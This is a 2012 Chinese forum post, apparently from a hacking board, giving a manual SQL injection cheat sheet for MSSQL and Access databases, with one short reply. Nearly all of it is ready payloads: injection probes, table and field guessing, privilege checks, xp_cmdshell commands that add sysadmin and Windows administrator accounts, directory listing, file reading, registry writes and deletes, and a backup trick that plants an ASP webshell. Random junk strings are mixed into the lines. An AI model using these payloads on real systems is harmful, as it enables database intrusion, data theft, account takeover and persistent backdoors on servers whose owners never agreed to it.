找回密码
 立即注册
查看: 3158|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
/ v# M, W5 U: g' f3 n3 M; f) l+ x1 J1.判断是否有注入;and 1=1 ;and 1=2
# d! D+ d1 N$ w' ]7 R5 l3 o
- d' d1 v. ^6 J! z- z. O7 e2 ?2.初步判断是否是mssql ;and user>0
$ k- A3 Z5 I- H2 Z- _! T1 A2 |1 o' h) A- ?# j. B0 Z
3.注入参数是字符'and [查询条件] and ''=' - m8 c2 H* F! g* A
4 _' {$ {/ w2 m4 g" Z
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 7 }9 ?- V+ v7 C

, C( [# t: g8 Q! R- K! S" r$ J5.判断数据库系统 * M" d/ d6 O) x4 Q
;and (select count(*) from sysobjects)>0 mssql + R1 _( }* {( @. g* V' y  v6 i# \' H
;and (select count(*) from msysobjects)>0 access 5 H# Z  j* ?1 O5 ~
/ c) F% ~4 ~& h1 z7 k
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ! a0 q: @2 @) J! C$ e( a

! l! c* x" ^. f6 \+ D5 `0 H) y7.猜字段 ;and (select Count(字段名) from 数据库名)>0 - n1 B( M: L& m- I8 d" h( B
$ w* A/ j+ u7 j  b
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 8 }$ Z4 P, {) T+ X) H/ N
7 d  ~4 B/ H; B( l
9.(1)猜字段的ascii值(access)
: ^* T( R5 g9 ~# n% E' D;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
0 q$ m) R8 C# C3 i0 D& f. M2 J! \& C% ]
(2)猜字段的ascii值(mssql) : D0 n9 P( i! \( l$ ~0 e+ G" o% M
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ; a/ j0 b8 q) R3 Y' t) ^

/ R# z- G) T! E4 p3 |* M' T8 i10.测试权限结构(mssql) - w- E4 w% h$ G. ^4 T8 _
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ) g0 j) E1 u  @2 M
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
5 X- q& x2 O. T8 @;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 4 h  e# Q* P- X: |: F
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ) J; ?- \  R7 p2 L* G& P3 i, W
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 0 A9 E) ^8 |' [/ w
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
: S1 Y! u( C- ]; R1 s6 ~;and 1=(select IS_MEMBER('db_owner'));-- + q9 n. G( m. ~6 J. o! M, Q

" i; j( X3 t7 {11.添加mssql和系统的帐户 ' C6 h0 Z1 ~! T' u  ~3 s
;exec master.dbo.sp_addlogin username;--
2 ^6 b, p4 j2 s  ?
7 W) W( O8 T& `% s, C" z5 }  K8 _;exec master.dbo.sp_password null,username,password;-- 0 ^% A( o# K6 J- ?2 ?( `5 s
, R/ v8 W6 v# w7 _
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
+ n) q/ _+ r$ @' d4 r  v$ _) G1 n: g
;exec master.dbo.xp_cmdshell 'net user username password ; n) H( Y* v" h( d1 t7 [
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
' p$ i. h6 T3 X' H, M
4 |: |) `7 d- s; R;exec master.dbo.xp_cmdshell 'net user username password /add';--
* n9 {3 f. l: _& f% C+ {( N1 J) L! f6 X& H$ H& Y- c
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
& L- m& k! x/ w: N7 ~5 c9 Z1 q: D& e8 t& w
12.(1)遍历目录
/ R8 F* @0 c' A; ?
0 V0 G4 ^7 v7 u2 T;create table dirs(paths varchar(100), id int)
* P( @. r6 c  ^2 H9 M;insert dirs exec master.dbo.xp_dirtree 'c:\' ( }/ Z! A2 i, o5 y4 L1 _( `
;and (select top 1 paths from dirs)>0 5 E0 T3 d9 C! I& x9 @/ D+ x
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
/ |- W! N1 ]  `/ q
/ u7 W- w) E6 Y) a  n. s" B(2)遍历目录 8 a, S3 l; E+ K. K
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
4 b. Q9 ?% T2 F( P;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4 `+ M, T" t  v/ J  T- B, }0 p$ j  U
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
' T2 I5 Y% Y" @! \  |9 D;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ( }3 p; i2 [5 w$ v! E. Q7 L' T
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 5 ?. z6 w% B; j$ e5 p% ~

& R0 G, [- R4 F5 t13.mssql中的存储过程 4 Y4 P2 \: \) ^( X

' f+ d5 R2 U; s  u6 P1 Uxp_regenumvalues 注册表根键, 子键
) N, `+ ?! K# V5 S; j6 ^7 i6 P;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 $ r' t& _7 Z# D. ^; Z5 I
/ A: y6 _* `7 o7 h: {
xp_regread 根键,子键,键值名 : \. U% D$ D% }9 |
;exec xp_regread
! O- B' b+ C6 @7 `' _  S'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
, _" F$ s  m: H' H; D1 s/ y/ A7 m2 P: c9 u0 P
xp_regwrite 根键,子键, 值名, 值类型, 值
2 ?- O: z7 u. L' c+ I值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
% ]3 C0 _6 h& M8 |  }" k& v- ~;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
& q# d' `$ n5 R+ V1 [/ ~% a) g$ W/ X. t; v7 t+ J
xp_regdeletevalue 根键,子键,值名
; R/ @9 q' \7 @) O
- \6 F4 f3 {3 Sexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 " d. M. @3 T, n7 a- e& m& B
0 S( }2 K1 X8 U
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
8 M; ], Z' V/ F( ?# V' G
: \+ [, u. [5 G1 r" A+ x  W14.mssql的backup创建webshell
" t" S. A" X1 C$ \* `0 Euse model 3 z1 W! F$ ]1 i' e
create table cmd(str image);
: @7 j( U" [) x7 @* ?9 R+ w; sinsert into cmd(str) values (''); * O/ f& Y+ x: I* R# w( |- r9 O
backup database model to disk='c:\l.asp'; % q* I1 r: \) V2 Y0 q+ R  ]' i) B, w

4 }, F- c8 [  n5 O15.mssql内置函数 7 r5 N/ W9 I, s4 S3 n/ D
;and (select @@version)>0 获得Windows的版本号
7 A& ?0 A# t5 N% c/ R;and user_name()='dbo' 判断当前系统的连接用户是不是sa
" J& e0 J+ A, F* u4 ~9 t/ O* ^- Y;and (select user_name())>0 爆当前系统的连接用户 3 N0 [0 |6 b& P" t4 Y8 k) Y
;and (select db_name())>0 得到当前连接的数据库 ; Z; H( r9 ?& f5 ~" ?8 B
- B. j, j: i. l
16.简洁的webshell
* Z+ M  V, [: D  t
3 W7 p! {8 S2 F8 U& Uuse model
; t, w& j1 k, L0 J8 S" r) ]/ i- }# j1 L$ k5 p
create table cmd(str image);
  U3 ?0 G' j0 k; p+ D
; H% ~, w3 [3 p) U& @# jinsert into cmd(str) values ('');
; g) {' H6 m$ q! S7 E( b- T. P9 ^$ j! k0 ^1 {' e% ~; w
backup database model to disk='g:\wwwtest\l.asp';
; e1 U9 w+ _% v+ L9 M4 ]
* y  O! P8 K. S+ w; }% ^* S
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表